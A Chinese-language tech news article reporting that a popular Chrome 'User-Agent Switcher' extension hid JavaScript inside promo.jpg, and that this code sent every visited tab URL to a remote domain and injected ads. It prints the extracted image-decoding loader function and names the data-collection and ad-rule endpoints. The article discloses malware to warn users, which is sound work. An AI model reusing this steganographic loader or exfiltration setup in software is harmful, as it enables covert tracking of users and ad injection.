當前位置:
首頁 > 知識 > Chrome 搜索 User-Agent Switcher 排行第一的插件竟是木馬

Chrome 搜索 User-Agent Switcher 排行第一的插件竟是木馬


近日,有開發者在 Google Chrome 商店中搜索 User-Agent Switcher(https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake) 這款擴展程序時,竟然發現排行第一(459604位用戶)的「User-Agent Switcher」是一個惡意程序,它是由「useragentswitcher.org」提供,而並非「google.com」。

這款 User-Agent Switcher for Google Chrome 頁面上的「Report Abuse」(舉報濫用情況)其實是一個無用的鏈接,它表面上顯示為良性的 .jpg 文件。事實上,為了繞過 Chrome 的審核策略,作者將惡意代碼隱藏在了 promo.jpg 中,當載入到 canvas 元素並以某種方式解碼時,就會產生 JS,這些 JS 會將所有用戶的 請求發送到某個域,同時還會注入廣告並重定向到其從屬鏈接。

Chrome 搜索 User-Agent Switcher 排行第一的插件竟是木馬

開發者@anoymoux 從這個圖片里解密出惡意代碼並執行:

t.prototype.Vh = function(t, e) { if ("" === "../promo.jpg") return ""; void 0 === t && (t = "../promo.jpg"), t.length && (t = r.Wk(t)), e = e || {}; var n = this.ET, i = e.mp || n.mp, o = e.Tv || n.Tv, h = e.At || n.At, a = r.Yb(Math.pow(2, i)), f = (e.WC || n.WC, e.TY || n.TY), u = document.createElement("canvas"), p = u.getContext("2d"); if (u.style.display = "none", u.width = e.width || t.width, u.height = e.width || t.height, 0 === u.width || 0 === u.height) return ""; e.height && e.width ? p.drawImage(t, 0, 0, e.width, e.height) : p.drawImage(t, 0, 0); var c = p.getImageData(0, 0, u.width, u.height), d = c.data, g = []; if (c.data.every(function(t) { return 0 === t })) return ""; var m, s; if (1 === o) for (m = 3, s = !1; !s && m < d.length && !s; m += 4) s = f(d, m, o), s || g.push(d[m] - (255 - a + 1)); var v = "", w = 0, y = 0, l = Math.pow(2, h) - 1; for (m = 0; m < g.length; m += 1) w += g[m] << y, y += i, y >= h && (v += String.fromCharCode(w & l), y %= h, w = g[m] >> i - y); return v.length < 13 ? "" : (0 !== w && (v += String.fromCharCode(w & l)), v) }

從而發現,運行完程序就會把用戶打開的每個標籤的 url 等信息加密發送到 https://uaswitcher.org/logic/page/data。

另外還會從 http://api.data-monitor.info/api/bhrule?sub=116 獲取推廣鏈接的規則,打開符合規則的網站時,會在頁面插入廣告甚至惡意代碼。

對此,不少網友各執己見:

  • gorhill:「User-Agent Switcher for Google Chrome」這個擴展程序清單中有一個「content_security_policy」值,在它的值中包含一個「unsafe-eval」的 CSP 指令,而其本質是擴展上下文中執行任意代碼的能力,不能通過讀取原文件進行代碼審查,因此在清單中聲明這種 CSP 指令的任何擴展會被推定為惡意程序,所以想要具體確認還需進一步的調查。

  • horsawlarway:現在很多庫和模板依賴於 eval 代碼。在從已知和受信任的位置拉取更新和模塊的情況下,還有一些(關鍵字:FEW)是使用 eval 的有效原因。在這些情況下,如果用戶在擴展程序中沒有使用預先共享的證書來簽名伺服器端並驗證簽名,那麼還會遇到問題。長話短說,eval 仍然是非常有用的功能,但它需要正確並少量使用。

  • krisgenre :天吶,我一直在用這款擴展!立即刪除並在 Chrome 商店查找是否有替代的,後來發現還是應該安裝 Google 本身提供的擴展。

  • milankragujevic:很苦惱,我已經安裝了這款擴展程序兩年了,他們會得到什麼信息,會對我做些什麼?目前我已經卸載了。

  • krackers :當我發現時,我也有同樣的擔心。我沒有足夠的技能來進行完全解碼,但是至少我知道它會發送瀏覽歷史和注入廣告。現在在安全方面,我已經修改了各種密碼。

倘若安裝了這款插件也就相當於一直處於黑客的監控之下,細思極恐。

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 青峰科技 的精彩文章:

前方高能提示:SDCC 2017之區塊鏈技術實戰線上峰會開播倒計時
html 使用 gka 加速 createjs 動畫開發及圖片優化
三分鐘讀懂TT貓分散式、微服務和集群之路
Linux下搭建MySQL集群
IoT 數據預處理:線性重採樣全過程解析

TAG:青峰科技 |